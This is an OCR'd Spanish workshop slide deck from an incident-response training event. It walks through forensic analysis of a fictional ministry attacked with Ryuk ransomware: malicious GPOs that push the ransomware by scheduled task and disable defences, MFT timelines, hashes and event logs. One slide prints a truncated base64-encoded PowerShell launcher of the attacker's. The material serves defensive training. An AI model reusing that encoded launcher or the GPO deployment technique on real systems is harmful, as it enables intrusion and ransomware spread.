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Evidencias para el taller

pit.ly/ransomSTIC
ccn-cert.net/labforense
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IHAdvertencialll

= NO hay malware activo en las evidencias

= .. pero si codigo malicioso (no funcional)
= No te fies de NADIE

= Hay cosas que NO le van a gustar a

vuestro AV (y hace bien) BIOLOGICAL

= Consejo: Haz este taller desde una
maquina virtual




1.

Respuesta ante incidentes en 4 slides



KEEP
CALM

EVERTHING

IS BACK
TO NORMAL
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Objetivo de la respuesta
ante incidentes:

Volver a la operacion

NORMAL

del servicio




Trabaja como Si
estuvieras

COMPROMETIDO



Fases de la respuesta ante incidentes

= Preparacion

= Deteccion

= Contencion Analisis
= Erradicacion

= Recuperacion
= | ecciones aprendidas
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Captura de evidencias en incidentes complejos: https://vanesa.ccn-
cert.cni.es/userportal/#/player/vod/Ud1b1cb038d3f4d59a2642abd9
ed0d890

0\ .
L

))x/vanesa>

PLATAFORMA DE GRABACIONES
Y EMISIONES ONLINE

-

INCIDENTES COMPLEJOS.




2.

Caso practico: Ransomware ate
my network
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MINAF: Ministerio de la Alegria y la Felicidac

#HAPPYDAY

:— . GOBIERNO MINISTERIO DE LA FELIZ DIA INTERNACIONAL DE LA FELICIDAD

DE ESPANA" A| EGRIA Y LA FELICIDAD v

* Este Ministerio (por desgracia) es ficticio

Un dia cualguiera en un ministerio cualquiera ...
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Preparacion

Sistemas actualizados - Windows

10 + Windows

2016 Server

Antivirus, parches y buenas practicas

de seguridad

Monitorizacion de red (Suricata/Bro)

GLORIAy CLA

UDIA desplegadas

Certificacion d

el ENS = todavia a |la

espera de papeleo
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Fusidn con la FFP

o = FFP (Federacion de Festejos
€N Patronales)

» Fusion forzada con el MINAF

= Equipos Windows 10 / Windows
2012 Server

= Parchesy antivirus - regular

= No se han seguido buenas practicas
de seguridad en anos...
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Deteccidn del incidente

= 9/Nov 16:30n : CLAUDIA genera
multiples alertas - Desactivacion
generalizada del antivirus en todo el

M|
T

NAF

P muy usada por grupos de

ransomware para debilitar los

cq

Uipos

IPosible despliegue de ransomware
inminente!




Acciones iniciales

Activacion del procedimiento de
respuesta ante incidentes

Comunicacion al grupo TIC
Corte de la conexidn a internet
Lanzamiento de snapshots

Apagado de maquinas de backup




Alcance del incidente

I = NO tenemos ficheros cifrados

\\ // (todavia)
— — = Analisis de eventos de CLAUDIA
- 3 equipos con el antivirus

deshabilitado antes que el resto

= Comunicacion al CCN-CERT del
iNncidente




Objetivos

= Determinar el alcance del incidente
= Realizar una contencion rapida
» Encontrar el vector de entrada

s Encontrar TTP de |os atacantes

» Generary compartir IOC
(indicadores de compromiso)
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Timeline: inicio de los eventos sospechosos

= Conocimiento del incidente: Lunes 9/Nov 15:30h UTC
= Usar srempre horas UTC
= Espana UTC+1 (en verano UTC+2)




Adquisicion de evidencias

= Volcado de RAM: winpmem
» Datos de triage: CyLR
= Disco duro: copia logica (para el CTF)
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2.

DC (Controlador de Dominio)
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= GPO Scheduler (1) Paso 1: GPO

Default launch
Ambito Detalles Corfiguracién Delegacién Estado
Default launch /
- 020 18:49:53 ocultar todo '
General

Dominio MINAF.ES
Propietario MINAF\Admins. del dominio
Creado 09/11/2020 16:04:24
Modfficado 09/11/2020 16:04:26
Revisiones de usuario 1(AD). 1(SYSVOL)
Revisiones de equipo 1(AD), 1{SYSVOL)
Id. dnico {A9320E16-74CC-450D-891E-3E32B 1CFA702}
Estado de GPO Habiltado
Ubicacion Aplicado Estado de vinculo Ruta
MINAF Si Habiltado MINAF.ES
Esta lista solo incluye vinculos en el dominio del GPO.

#XIVIORNADASCCNCERT
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= GPO Scheduler (I1) Paso 1: GPO

Default launch
Ambito Detalles Corfiguracién ' Delegacion Estado
anos autents s Lectura (de Fitrado de segundad) No

Configuracion del equipo (habilitada)

Archivos

Asrchivo (ruta de destino: c:\temp\v2 exe)

v2 exe (orden: 1)
General

Comunes

Archivo (ruta de destino: c:\temp\v2c _exe)
v2c exe (orden: 2)
General

SRS RRAY!

Accién Actualizar k.

Propiedades
Archivos de origen \\dc'\share$\v2c exe
e
Suprimir eores en acciones de archivos individuales Desnaninago

Atributos
Solo lectura Deshabiltado
Ocutto Deshabiltado
Archivo Habiltado

Comunes v




= GPO Scheduler (I

Accién
Tarea

Desencadenadores
1. Una vez

Acciones
1. Iniciar un programa

2. Iniciar un programa

Nombre

Autor

Descripcién

Ejecutar solo cuando el
usuario haya iniciado sesién
Userld

Ejecutar con los privilegios mas
altos

QOculto
Configurar para
Habiltado

Repetir tarea cada 30 minutos
durante 1dia

Detener todas las tareas en
ejecucion al final de la

duracion de repeticion
Activar 09/11/2020 18:15:00
Habilitado

Programa o script

Programa o script

Actualizar

Comp_sys
MINAF\Administrator

Interactive Token

NT AUTHORITY\System
LeastPriviege

No
12
Si

No

c:Memp'w2.exe

c:\temp'w2c exe

CoN-cert
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Paso 1: GPO

Sincronizar zonas horarias

No

(AT AT
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Paso 1: GPO

GPO creada a las 15:04h UTC
Copia el ransomware a C:\temp del equipo
Crea una tarea programada en el equipo

Lanza el ransomware a las 17:15h UTC
111 Son las 16:00h UTC 1
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Paso 1: GPO

El tiempo de refresco de GPO es de 30min
Eliminamos la GPO “Default Launch”
Creamos una GPO que borre los ficheros

Servidores criticos = comprobamos que no est3 el
ransomware y APAGAMOS

Copia del DC, servidores de ficheros, correo

La GPO deberia llegar a todos los equipos afectados = Ojo
con el post-incidente
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1715 U1C ...
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1/7:20UT1C ...
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1/7:25UI1C ...
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Paso 2: MFT

= Buscamos en la MFT ficheros sospechosos
creados el 9/Nov

= Lanzamiento y borrado de temp.zip

20461 2020-11-09 13:55:34 104 Ink \Users\dom.adm\AppData\Roaming\Microsoft\Windows\Recent\Este equipo.Ink

20462)|2020-11-09 13:55:34 478 Ink \Users\dom.adm\AppData\Roaming\Microsoft\Windows\Recent\temp.Ink

20463/2020-11-09 13:55:37 54227 zip \$Recycle.Bin\S-1-5-21-3993753849-1513836012-2919521276-1105\$RCEC6MF .zip

20464 2020-11-09 13:55:47 \$Recycle.Bin\S-1-5-21-3993753849-1513836012-2919521276-1105\$RHNE6MKA

20465 2020-11-09 13:55:47 \$Recycle.Bin\S-1-5-21-3993753849-1513836012-2919521276-1105\$RHN6MKAMAII in one

20466 2020-11-09 13:55:47 \$Recycle.Bin\S-1-5-21-3993753849-1513836012-2919521276-1105\$RHNEMKAMAIl in one\{D701CB99-59A
2N4R7/202N_11_NQ 13-55-47

\&Rarurla RiNS_1_5_21_20037523R40_1512R23AN12_2010R2127A_11NR\RRHNAMK AVAIl in Ana\lN7N1MRAO_ROA
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Paso 2: MFT

= Contenidos de c\temp (1/2)

20493 |2020-11-09 13:55:57
20494 |2020-11-09 13:55:57
20495/2020-11-09 13:55:57
20496 2020-11-09 13:55:57
20497 2020-11-09 13:55:57
20498 2020-11-09 13:55:57
20499/2020-11-09 13:55:57
20500/2020-11-09 13:55:57
20501/2020-11-09 13:55:57
20502|2020-11-09 13:55:57
20503 /2020-11-09 13:55:57
20504 2020-11-09 13:55:57
20505/2020-11-09 13:55:57
20506 2020-11-09 13:55:57
20507 |2020-11-09 13:55:57
20508 |2020-11-09 13:55:57
20509/2020-11-09 13:55:57
20510/2020-11-09 13:55:57
20511/2020-11-09 13:55:57
20512|2020-11-09 13:55:57
20513/2020-11-09 13:55:57
20514/2020-11-09 13:55:57
20515/2020-11-09 13:55:57
20516/2020-11-09 13:55:57
20517|2020-11-09 13:55:57
20518/2020-11-09 13:55:57
20519/2020-11-09 13:55:57

20492|2020-11-09 13:55:57 | ]

7434 xml
570 xml

553 cmix

2722 inf

2619 xml

3694 xml
4080 pol

107856 xml

\temp\All in one

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523}

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523}\Backup.xml

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523}\bkup|nfo.xml

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523}\DomainSysvol

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523}\DomainSysvol\GPO

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523}\DomainSysvol\GPO\Machine

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F 523}\DomainSysvol\GPO\Machine\Applications

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F 523}\DomainSysvol\GPO\Machine\comment.cmtx

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F 523}\DomainSysvol\GPO\Machine\microsoft

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F 523}\DomainSysvol\GPO\WMachine\microsoft\windows nt

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F 523}\DomainSysvol\GPO\WMachine\microsoft\windows nt\SecEdit
\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F 523}\DomainSysvo\GPO\WMachine\microsoft\windows nt\SecEdit\GptTmpl.inf
\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F 523}\DomainSysvo\GPO\Machine\Preferences

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F 523}\DomainSysvol\GPO\Machine\Preferences\Registry

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F 523}\DomainSysvol\GPO\Machine\Preferences\Registry\Registry.xml
\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F 523}\DomainSysvol\GPO\Machine\Preferences\Services

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523}\DomainSysvol\GPO\Machine\Preferences\Services\Services xml
\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523}\DomainSysvol\GPO\Machine\registry.pol

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523}\DomainSysvo\GPO\Machine\Scripts

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523}\DomainSysvol\GPO\Machine\Scripts\Shutdown

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523}\DomainSysvo\GPO\Machine\Scripts\Startup

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523\DomainSysvol\GPO\User

\temp\All in one\{D701CB99-59AE-4087-A12A-68B51829F523\gpreport.xml

734 migtable \temp\All in one\1.migtable

902 ps1

\temp\All in one\Fuck_this_domain.ps1

767 migtable \temp\All in one\GPO.migtable

747 xml

\temp\All in one\manifest.xml
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Paso 2: MFT

= Contenidos de c:\temp (2/2)

20320 2020-11-09 13:55:57
20521|2020-11-09 13:55:57
20522|2020-11-09 13:55:57
20523|2020-11-09 13:55:57
20524 |2020-11-09 13:55:57
20525 2020-11-09 13:55:57
20526 2020-11-09 13:55:57
20527 2020-11-09 13:55:57
20528|2020-11-09 13:55:57
20529|2020-11-09 13:55:57
20530{2020-11-09 13:55:57
20531|2020-11-09 13:55:57
20532|2020-11-09 13:55:57
20533|2020-11-09 13:55:57
20534|2020-11-09 13:55:57
20535|2020-11-09 13:55:57
20536|2020-11-09 13:55:57
20537 2020-11-09 13:55:57
20538 2020-11-09 13:55:57
20539 2020-11-09 13:55:57
20540 2020-11-09 13:55:57
20541|2020-11-09 13:55:57
20542|2020-11-09 13:55:57
20543|2020-11-09 13:55:57
20544|2020-11-09 13:55:57

5628 xml
561 xml

726 xml

4096 xml
4096 xml

3509 xml
3507 xml
3509 xml
44674 xml
609 txt
738 xml
1763 ps1
17920 exe
11264 exe

\temp\Scheduler

\temp\Scheduler\{879F8C5A-B213-42A1-9900-6A9900C39EC3}

\temp\Scheduler\{879F8C5A-B213-42A1-9900-6A9900C39EC3}\Backup.xml
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3}\bkupInfo.xml
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3\DomainSysvol
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3\DomainSysvol\GPO
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A2900C39EC3\DomainSysvol\GPO\Machine
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3}\DomainSysvol\GPO\Machine\Preferences
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3\DomainSysvo\GPO\Machine\Preferences\Files
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3\DomainSysvo\GPO\Machine\Preferences\Files\Files.xml
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3}\DomainSysvol\GPO\Machine\Preferences\ScheduledTasks
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3}\DomainSysvol\GPO\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3\DomainSysvo\GPO\WMachine\Preferences\ScheduledTasks\ScheduledTasks 1.xml
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3}\DomainSysvol\GPO\User
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3\DomainSysvol\GPO\User\Preferences
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3\DomainSysvo\GPO\User\Preferences\ScheduledTasks
\temp\Scheduler\{879FB6C5A-B213-42A1-9900-6A9900C39EC3\DomainSysvol\GPO\User\Preferences\ScheduledTasks\ScheduledTasks.xml
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3\DomainSysvol\GPO\User\Preferences\ScheduledTasks\ScheduledTasks1.xml
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3}\DomainSysvol\GPO\User\Preferences\ScheduledTasks\ScheduledTasks12.xml
\temp\Scheduler\{879F6C5A-B213-42A1-9900-6A9900C39EC3\gpreport.xml

\temp\Scheduler\CTF_LEEME .txt

\temp\Scheduler\manifest.xml

" 01a.ps1
\temp\Scheduler\v2.exe
\temp\Scheduler\v2c.exe
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Paso 2: MFT

El .zip contiene 2 GPO y 2 ejecutables
Cada GPO tiene un .ps1 para importarlas
V2.exe y v2c.exe - Posible ransomware

Calculamos hashes:

5994df288813a7d9588299¢c301a8de13479e3ffbb630c49308335Ff20515Ffdf57
b2a304e508415d96f417ed50d26e@b987b7cbd9a77bb345ea48e803b5a7afb49
ffa8722a0982%acd7ef8743688947f6ccb58d2ef v2c.exe

7320b34cB7206fcaf1319d6ce9bef2b29648a151
eddc@e293b0f0ee9@bablO6f@73a41cH
01438699bed008be9405995f0a158254
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Paso 3: Ryuk

59 @ 59 engines detected this file 5 8 @ 58 engines detected this file
/73 173
b2a304e508415d96f417ed50d26e0b987b/cbd?a77bb345ea48e803b5a7afb49 5994df288813a7d9588299c301a8de13479e3ffbé630c49308335f20515ffdf57
? v2.exe ? aujipgbfwlan.exe
- peexe runtime-modules - peexe
% Community Vi X Community o
Score Score
Malwarebytes @ Ransom.Ryuk
McAfee (1) Ransom-RyuklEDDCOE293BOF
McAfee (1) RDN/Ransom
Microsoft (1) Ransom:Win32/Ryuk!MSR
Microsoft (D Ransom:Win32/Ryuk!MSR

Il Los atacantes intentan desplegar RyUk !




Ryuk attack chain

Initial access through Trickbot, which
arrives via email or downloaded by Emotet
’ —P Cobalt Strike or PowerShell Empire
— =| payload
— Remote system discovery scan
Lateral movement via WMI and
—
PowerShell
> Reconnaissance
Com_mand-anq-control to
multiple machines
‘» Delivery

Credent.IaI theft via LaZagne
Q and registry access

Blood!-lound connects to
domain controller
Oo Credential access using compromised
> 8 domain admin account
Doma‘lncontroller to multiple
machines
—>@ Ryuk ransomware

Figure 9. Ryuk infection chain

MITRE ATT&CK

T1193 | Spearphishing Attachment

T1043 | Commonly Used Port
T1086 | PowerShell

T1018 | Remote System

T1028 | Windows Remote Management

T1105 | Remote File Copy

T1087 | Account Discovery

T1214 | Credentials in Registry
T1003 | Credential Dumping

T1069 | Permission Groups Discovery

T1028 | Windows Remote Management

T1105 | Remote File Copy
T1486 | Data Encrypted for Impact

CoN-cert
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Paso 3: Ryuk

= Grupo de HOR (Human-
Operated Ransomware)

= Maze, Ryuk, Sodinokibi -
Podio del ransomware

= Atacan a grandes orgs.
= Record: 2h (de O a ransom)

» TTP conocidas

Fuente: https://www.microsoft.com/security/blog/2020/03/05/human-operated-
ransomware-attacks-a-preventable-disaster/



https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
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= GPO Allin One (1) Paso 4. GPO

Cleaner Task
Ambito Detalles Corfiguracién  Delegacién Estado

- - 020 18:02:25 { ocultar todo |

Dominio MINAF ES
Propietario MINAF\Admins. del dominio

Creado 09/11/2020 14:57:30

Modficado 09/11/2020 14:57:36

Revisiones de usuario 1(AD). 1(SYSVOL)

Revisiones de equipo 1(AD). 1(SYSVOL)

Id. Gnico {DBD1B586-8077-4613-841A-0130F 8505664}
Estado de GPO Habiltado

Ubicacion Aplicado Estado de vinculo Ruta
MINAF Si Habiltado MINAF.ES

Esta lista solo incluye vinculos en el dominio del GPO.

La configuracion en este GPO solo se puede aplicar a los grupos. usuarios y equipos siguientes:

Nombre
NT AUTHORITY\Usuarios autentificados

#XIVIORNADASCCNCERT




GPO All in One (I
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Paso 4. GPO

?_ SDM Software/GPOGUY ---- Registry.Pol Reader 1.51 — O x
File Help

" Browse by GPO

{* Browse by File

Path to File: |C:"¢empWI in one'{D701CE39-59AE-4087-A124-68B51829F52 31 Domain Sysval G PO \Machine \registry pol Browse |
Registry Key | Registry Value | Value Type | Data -h
Software* Policies \Microsoft \ Windows*PowerShell EnableScripts REG_DWORD 00000001
Software*Policies \Microsoft\Windows"PowerShell BExecutionPolicy REG_S5Z Unrestricted
Software*Policies\Microsoft \Windows*. System EnableLogonScript Delay REG_DWORD 00000001
SoftwarePolicies \Microsoft\Windows* System AsynicScript Delay REG_DWORD  0ODO0O00

Software*Policies \Microsoft\ Windows* System
Software*Policies\Microgoft \Windows". System

Software*Policies \Microsoft \Windows* Win RM*Client
Software*Policies \Microsoft \Windows* WinRM Client
Software*Policies \Microsoft \Windows WinRM \Cliert
SoftwarePolicies \Microsoft \Windows  WinRM*Client
Software* Policies \Microsoft \Windows " WinRM.Service
Software* Policies \Microsoft "\ Windows " WinRM".Service
Software*Policies \Microsoft \Windows " WinRM“\.Service
SoftwarePolicies \Microsoft \Windows " WinRM“.Service
Software* Policies \Microsoft \Windows " WinRM.Service
Software*Policies \Microsoft \Windows "\ WinRM".Service

<

GroupPolicyRefresh Time
Group PolicyRefresh TimeOffset
SoftwarePolicies \Microsoft \Windows \Win RM \Client AlowBasic

AllowCredSSP
AllowlUnencrypted Traffic
TrustedHosts
TrustedHostsList
AllowBasic
AllowCredS5P
AlowAutoConfig
IPw4Fitter

IPwEFitter
AllowUnencrypted Traffic

Get enterprizse Group Policy reporting with GPO Reporting Pak

REG_DWORD  000000%e

REG_DWORD  (0000000=
REG_DWORD 00000001
REG_DWORD 00000001
REG_DWORD 00000001
REG_SZ -

REG_DWORD 00000001
REG_DWORD 00000001
REG_DWORD 00000001

REG_SZ
REG_SZ -
REG_DWORD 00000001 v

25 ltems
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Paso 4: MFT

All in One = GPO “"apisonadora”

Objetivo = Eliminar todas las medidas de seguridad
de la Organizacion

GPO sobre la mesa pesa = Eliminarla no revierte |os
cambios

Accion inmediata: desactivarla (evitar propagacion)

Corto plazo: estudiarla y crear otra GPO que revierta
los cambios
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Paso 5: Event Logs

Microsoft-Windows-TerminalServices-LocalSessionManageri:40perational MNdmero de eventos: 310

Mivel Fecha y hora Crigen Id. del evente  Categoria de la tarea
® Informacién 09,/11,/2020 16:07:59 Terminal5ervices-Local5essionManager 40 Minguno
® Informacién 09,/11,/2020 14:51:47 Terminal5ervices-Local5essionManager 22 Minguno

f

Informacion
@ Informacién

® Informacién

(T Infrrmarian
<

09/11/2020 14:51:46
09/11/2020 14:51:45
09/11,/2020 14:51:45
NGA12020 1 21/52

Terminal5ervices-Local5essionManager

Minguno
TerrninalServices-Local5essionhbanager 42 Minguno
TerrninalServices-Local5essionhanager 41 Minguno

TerminalSernvirec-| nralSeccinnbdananar 17 klimmninm

Evento 21, Terminal3ervices-LocalSessionManager

General Detalles

Servicios de Escritorio remoto: inicio de sesion correcto:

Usuario: MINAFP dom.adm
Identificador de sesian: 2
Direccién de red de origen: 10.11.2.14

Mombre de registro:  Microsoft-Windows-Terminal5ervices-LocalSessionManager/Operational

Origen: TerrninalServices-Local5essic Registrado: 09/11/2020 14:51:46
Id. del 21 Categoria de tarea:  Minguno

Mivel: Informacién Palabras clave:

Usuario: SYSTEM Equipo: DC.MINAF.ES

Cadigo de cperacién:  Informacian

Mas informacion: Ayuda Registro de eventos

= Login en el equipo =
Terminal Server

= Cuenta con privilegios
de admin de dominio

= |P:10.11.2.14 >

maria.feliz (admvo. de
la FFP) = Equipo con
AV desactivado

= rrrrr.....




= Aplicacion de las GPO

Microsoft-Windows-GroupPolicy%:40perational Mdimero de eventos: 7.440

CoN-cert
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Paso 5: Event Logs

Mivel Fecha y hora Origen Id. del evento  Categoria de la tarea =
@ Informacion 09/11/2020 16:08:19 GroupPolicy (Microsoft-Windows-Group... 3312 Minguno

@ Informacion 09/11,/2020 16:08:19 GroupPolicy (Microsoft-Windows-Group... 5126 Minguno

@ Informacian 09/11,/2020 16:08:19 GroupPolicy (Microsoft-Windows-Group... 5257 MNinguno v
< >
Evento 3312, GroupPolicy (Microsoft-Windows-GroupPolicy) x

General Detalles

Directiva de grupe local
Default Domain Pelicy
[ Oomain Controllers Policy

Default launch
Cleaner Task

Lista de cbjetos de directiva de grupo aplicables:

¢Por qué se programa a las 17:15h si estaba disponible a
las 15:08h UTC? = Guardad este dato...
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Paso 5: Event Logs

= [a conexion RDP ha usado autenticacion NTLM - en todo el
MINAF los puestos de trabajo usan Kerberos = lo apuntamos

2] FullEventLogWiew - C:\Users\antonio\Desktop\dc_Ch\Windows\System32\winevt\logs - O *
File Edit View Options Help
HEHRL=AA
Event Time  ~ Record ID Event D Level Channel Provider
:E.J‘OQH 1/2020 13:51:36.968 1042 131 Information Microsoft-Windows-RemoteDesktopServices-RdpCoreTs/..  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
_%.)09}’11)’2{32013:51:36.9?0 49 261 Information Microsoft-Windows-TerminalServices-RemoteConnection...  Microsoft-Windows-TerminalServices-RemoteConnectionManager
:?5.)‘09."1 1/2020 13:51:36.975 1043 63 Information Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/..  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
:?5.)‘09."1 1/2020 13:51:36.979 1044 72 Information Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/..  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
J09/11/2020 13:51:36.979 1045 72 Information Microsoft-Windows-RemoteDesktopServices-RdpCoreTs/...  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
J09/11/2020 13:51:36.082 1046 141 Information Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/..  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
0971172020 13:51:37.120 5405945 4776 Undefined Security Microsoft-Windows-5Security-Auditing
J:} 09/11/2020 13:51:37.127 228035 6038 Warning System LsaSrv
0971172020 13:51:37.149 5405846 4672 Undefined Security Microsoft-Windows-5Security-Auditing
j,)ﬁgﬂ 1/2020 13:51:37.149 5405947 4624 Undefined Security Microsoft-Windows-5ecurity-Auditing
ﬁ 09/11/2020 13:31:38.179 1047 101 Warning Microsoft-Windows-RemoteDesktopServices-RdpCoreT5/...  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
i)ﬁgﬂ 1/2020 13:51:38.179 1043 132  Information Microsoft-Windows-RemoteDesktopServices-RdpCoreT5/...  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
::5.-"09."1 1/2020 13:51:38.179 1049 132  Information Microsoft-Windows-RemoteDesktopServices-RdpCoreTs/..  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
:E.J‘OQH 1/2020 13:51:38.179 1050 72 Information Microsoft-Windows-RemoteDesktopServices-RdpCoreTs/..  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
_%)09}'1 1/2020 13:51:38.179 1051 72 Information Microsoft-Windows-RemoteDesktopServices-RdpCoreTs/..  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
:?5.)‘09."1 1/2020 13:51:38.201 1032 104 Information Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/..  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
:?5.)‘09."1 1/2020 13:51:38.201 1053 72 Information Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/..  Microsoft-Windows-RemoteDesktopServices-RdpCoreTs
iJn06/11/2020 12.51.38 312 S0 11438 Infarmatinn hdirrnenft-Winrdnwes-TerminalSendires-Remntel nnnerctinn bdirrnenft-Windnuws-TerminalSennres-RemnteCnnnectinnbdananer
Microsoft Windows Server ha detectado que la |autenticacion NTLM se esta usando actualmente entre clientes y este servidor. Este evento se
produce una vez por arranque del serv’lgor Ta primera vez gque un cliente usa NTLM con este servidor.
NTLM es un mecanismo de autenticacion mas wulnerable. Compruebe:
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Paso 5: Event Logs

= Windows Defender detecto y elimind una amenaza = pero luego
fue desactivado = posible DC comprometido

Microsoft-Windows-Windows Defenderit4Operational 1 Nimero de eventos: 1.741

Mivel Fecha y hora Origen ld. del evente  Categoria de la tarea

[ Advertencia 09/11/2020 14:54:12 Windows Defender 1116 Minguno

@ Informacian 08/11/2020 14:33:43 Windows Defender 5001 Minguno

@Informacién 09/11,/2020 14:53:42 Windows Defender 1117 Ninguno
Advertencia 09/11,/2020 14:52:56 Windows Defender Minguno

@Informacién 09/11/2020 14:28:52 Windows Defender 1150 Minguno

@Im‘ormacién 08/11/2020 13:28:52 Windows Defender 1130 Minguno

Evento 1116, Windows Defender

General Detalles

Windows Defender detectd malware u otro software potencialmente no deseado.

Para mas informacién, consulta lo siguiente:

https://go.microsoft.com/fwlink/?linkid=370208&name=VirToolWin32/Realm.B&threatid=21477641108& enterprise=0
Nombre: VirTool:Win32/Realm.B
Id.: 2147764119
Gravedad: Grave
Categoria: Herramienta

Ruta de acceso: containerfil@_C\Users\dom.adm\Downleads\launcher.bat;
Origen de deteccion: Equip@ilecs

Tipe de deteccion: Concreto

Origen de deteccign: Proteccion en tiempo real

Usuario: MINAF\dom.adm

Mombre de proceso: C\Windows\explorer.exe

Version de inteligencia de sequridad: AV: 1.327.584.0, AS: 1.327.594.0, NIS: 1.327.594.0
Version de motor: AM: 1.1.17600.5, MNIS: 1.1.17600.5
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Paso 5: Event Logs

Microsoft-Windows-PowerShell%40perational 2  Numero de eventos: 720

Nivel Fecha y hora Origen Id. del evento Categoria de la tarea

[}
(@ Informacion 09/11/2020 16:1325  PowerShell (Microsoft-Win... 4103 Ejecutando canalizacion [ | P O\Ne rS h e | | C O n SC rI t
Evento 4103, PowerShell (Microsoft-Windows-PowerShell) | O g i n h a b | | lt a d O
P A ﬁ del MINAF
CommandInvocation(ForEach-Obiject): "ForEach-Object” p
EnlaceDeParametros(ForEach-Object): nombre="Process"; valor="$55f.Headers.Add($_.Name, $_Value)"
= |auncher.bat 2
Contexto: u n °

Gravedad = Informational

50spechoso ++

Versién de host = 5.1.14393.3866
Id. de host = ¢99a2a51-0670-42a7-8f76-29a7%2c62d 1
Aplicaciéon host = powershell -noP -sta -w 1 -enc

SQBmMACGAJABQAFMAVqGBFAFIAcwBpAEBATgBUAEEAQgBMAGUALGBQAFMAVGBFAFIAcwBpAESBAbgAUAEOAYQBKA [ ] ( O nfl rr T ]a r r ] O S
|GBAUGAGACOAZWBIACAAMWAPAHSAJABIADCAZgAOADOAWWBSAGUARGBAAC4AQQBZAHMARQBtAGIATABZACA4AR
WBFAFQAVABSAFAAZQAOACCAUWBSAHMAJABIAGOALGBNAGEAbgBhAGCAZQBtAGUAbgBOAC4AQQBTAHQAbWBEA

[
GEAdABpAG8BAbgAuAFUAdABpAGwAcwANACKALgAIAECARQBOAEYAaQBIAGAATABKACIAKAANAGMAYQBJAGQAZQ COI I l p rOI I l ISO d e | D (

BkAEcAcgBvAHUAcABQAGBAbABpAGMAeQBTAGUAJABOAGKAbgBNAHMAJWASACCATgANACSAIWBVAGAAUAB1AGI
AbABpAGMALABTAHQAYQBOAGKAYWANRACKAOwWBJAGYAKAAKAGIANWBGADQAKQB7ACQAYgAzADKAOQASACQA
QgA3AEYANAAUAECAZQBUAFYAQQBsAHUAZQAoACQAbgB1AEWABAAPADsASQBmMACgAJABIADMAOQASAFsAJwWB

TAGMAcgBpAHAAJABCACCAKWANAGWAbwBjAGSATABVAGCAZWBpAG4AZWANAFOAKQB7ACQAQGAZADKAOQBbBAC [ R e Sta u r‘ a r‘ a S n a p S h Ot
cAUwBjAHIAaQBWAHQAQQANACSsAJwBsAGS8AYwBrAEwAbwBnAGcAaQBUAGCAJWBAAFsAJWBFAG4AYQBIAGWAZQBT
AGMAcqBpAHAAJABCACCAKWANAGWAbWBJAGSATABVAGCAZWBPAGAAZWANAFOAPQAWADsAJABCADMAOQASAFs 7 J
AJWBTAGMACGBpAHAAJABCACCAKWANAGWAbWBJAGSATABVAGCAZWBPAGAAZWANAFOAWWANAEUAbGBhAGIAbAB d e | d | a a nte r| O r
IAFMAYwByAGKACcABOAEIAbABVAGMAawBJAG4AdgBVAGMAYQBOAGKAbwBUAEWAbwBNAGcAaQBUAGCAJwBdADOA

MABYACQAVgBBAGWAPQBbAEMATWBMAGWAZQBjAHQASQBVAG4AcwAUAECAZQBUAGUAUGBJAEMALGBEAGKAYwW
BUAEkAbwBUAGEAUgB5AFsAUwWBUAFIASQBUAECALABTAFKAcwBOAEUABQAUAEBAY gBKAGUAYwBUAFOAXQAGBADoA




Paso 6: launcher.bat

= Buscamos launcher.bat en la MFT, y lo
recuperamos del disco del DC

= \erificamos que es un .bat que contiene
